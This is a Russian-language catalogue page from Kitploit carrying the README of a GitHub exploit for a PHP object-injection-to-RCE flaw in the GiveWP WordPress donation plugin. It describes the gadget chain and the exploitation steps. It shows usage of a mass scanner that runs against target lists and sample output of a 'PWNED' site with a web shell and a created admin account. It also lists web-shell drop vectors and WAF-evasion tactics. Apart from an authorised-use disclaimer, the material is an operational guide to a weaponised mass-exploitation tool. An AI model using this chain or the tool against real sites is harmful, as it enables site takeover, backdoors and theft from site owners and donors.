Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-82222 — GiveWP <= 4.16.7.1 Неаутентифицированная инъекция PHP-объектов → RCE | Kitploit
Инструменты/GitHubGitHub/r0x19/cve-2026-82222
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubr0x19/cve-2026-82222

CVE-2026-82222

GiveWP <= 4.16.7.1 Неаутентифицированная инъекция PHP-объектов → RCE

Репозиторий
15 ч 33 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-82222 — GiveWP <= 4.16.7.1 Неаутентифицированная PHP Object Injection → RCE

Автор: Rx019
CVSS: 10.0 (Critical)
Тип: Неаутентифицированная PHP Object Injection → Remote Code Execution
Плагин: GiveWP (give) — Donation Plugin and Fundraising Platform
Затронутые версии: <= 4.16.7.1
Исправлено в: 4.16.8


Описание

GiveWP сохраняет last_name донора в PHP-сессии без санитизации. Когда пожертвование отправляется без поля give_last, GiveWP десериализует необработанное значение из базы данных напрямую в сессию. Это позволяет неаутентифицированному атакующему внедрить PHP-сериализованный объект в last_name через конечную точку профиля донора, а затем вызвать десериализацию, отправив сформированное пожертвование — что приводит к выполнению произвольных команд через готовую POP-цепочку, доступную в поставляемых вместе с GiveWP вендорских библиотеках.


POP-цепочка

root@kitploit:~
TCPDF::__destruct()
  └─ Session::getBag()           ← вызывает метод, имя которого задано в $attributeName
       └─ DonationFactory::__call()
            └─ system($command)   ← $command из $attributeName

Используемые вендорские классы:

КлассФайл
TCPDFvendor/tecnickcom/tcpdf/tcpdf.php
Give\Vendors\Symfony\...\Sessionvendor/symfony/http-foundation/Session/Session.php
Give\TestData\Factories\DonationFactorysrc/TestData/Factories/DonationFactory.php

Схема эксплуатации

root@kitploit:~
1. Регистрация в качестве донора → аутентифицированная сессия (wp-login cookie)
2. POST /wp-admin/profile.php
   last_name = сериализованная TCPDF-цепочка со встроенной командой system()
3. POST /wp-admin/admin-ajax.php
   action=give_process_donation  (поле give_last ОПУЩЕНО)
   → GiveWP считывает last_name из БД, записывает необработанный объект в сессию
4. GET /?p={form_id}
   → завершение PHP-сессии запускает TCPDF::__destruct()
   → POP-цепочка выполняет system(command)
5. Подтверждение шелла / создание администратора

Требования

root@kitploit:~
pip install requests rich

Python >= 3.9


Файлы

ФайлОписание
CVE-2026-82222.pyPoC для одной цели — подробный пошаговый вывод
CVE-2026-82222-MASS.pyМассовый сканер — многопоточный пакетный режим

Использование

Одиночная цель

root@kitploit:~
python CVE-2026-82222.py

Интерактивный запрос:

root@kitploit:~
  Target URL: https://victim.com

Или напрямую:

root@kitploit:~
python CVE-2026-82222.py https://victim.com

Массовый сканер

root@kitploit:~
# Пакетная обработка из файла
python CVE-2026-82222-MASS.py -f targets.txt

# Пользовательское количество потоков
python CVE-2026-82222-MASS.py -f targets.txt -t 10

# Несколько целей в командной строке
python CVE-2026-82222-MASS.py https://site1.com https://site2.com

# Интерактивное меню
python CVE-2026-82222-MASS.py

Формат пакетного файла:

root@kitploit:~
# Строки, начинающиеся с #, игнорируются
https://target1.com
https://target2.com
target3.com          # протокол автоматически добавляется как https://
http://target4.com

Вывод

Одиночный режим

root@kitploit:~
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│                                                        │
│  PWNED (shell + direct)  https://victim.com           │
│  Version : 4.15.0                                     │
│  WAF     : Wordfence                                   │
│  Shell   : https://victim.com/wp-content/uploads/...  │
│  Method  : shell + direct (no .php write needed)       │
│  Admin   : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│                                                        │
╰────────────────────────────────────────────────────────╯

Сводка пакетного режима

root@kitploit:~
  Vulnerable : 12   Partial : 3   Patched : 44   Not Vuln : 21   Errors : 2   Total : 82

Результаты сохраняются в ~/Documents/CVE/CVE-2026-82222/:

ФайлСодержимое
CVE-2026-82222_YYYYMMDD_HHMMSS.txtРезультат одиночного запуска
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txtПолные результаты пакетного запуска
success_results.txtДобавленные строки VULN/PARTIAL

Векторы атаки

Эксплойт последовательно пытается использовать два основных вектора:

Вектор A — Прямой администратор (без записи файла шелла)

  1. Внедрить PHP-код wp_create_user() в виде base64 в TCPDF-цепочку
  2. Запустить цепочку — GiveWP выполняет код на стороне сервера
  3. Проверить, войдя в систему под созданным администратором
  4. Сбросить шелл через редактор файлов плагина/темы WordPress

Вектор B — Сброс шелла через цепочку GiveWP

Используется, когда Вектор A не сработал или вход администратора не может быть подтверждён.

  1. Зарегистрировать новую сессию донора (новый файл PHP-сессии — позволяет избежать конфликта блокировок с воркером Вектора A)
  2. Внедрить команду сброса шелла в last_name через конечную точку профиля
  3. Загрязнить сессию (пожертвование без give_last)
  4. Вызвать десериализацию (/?p={form_id})
  5. Подтвердить наличие шелла в каталогах upload/plugin/theme
  6. Запасной вариант: маяк id | tee в файл .txt в каталоге uploads

Вектор C — Администратор через шелл

Если шелл подтверждён, но администратор ещё не создан, создать его через шелл с помощью wp_create_user() через параметр ?c= веб-шелла.


Обработка WAF

WAFСтратегия
Imunify360Удаление заголовков-подделок X-Forwarded-For / X-Real-IP
WordfenceРотация User-Agent из пула
CloudflareУстановка Accept-Encoding: gzip, deflate, br

Примечания

  • Для эксплуатации требуется, чтобы в GiveWP была опубликована хотя бы одна форма пожертвований
  • На целевом сайте должна быть включена регистрация (настройка ядра WordPress)
  • Дренаж пула воркеров PHP-FPM: после прямой цепочки администратора вставляется пауза в 30 секунд, чтобы воркер, удерживающий сессию, освободил её до последующих запросов
  • DISALLOW_FILE_EDIT в wp-config.php блокирует вектор редактора плагина/темы — скрипт обнаруживает это на раннем этапе и переходит к Вектору B
  • Имя файла шелла: Rx{100-999}.php — рандомизируется при каждом запуске

Отказ от ответственности

Этот инструмент выпущен только для авторизованного тестирования безопасности и исследовательских целей.
Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.
Несанкционированное использование незаконно и неэтично.

Скачать инструмент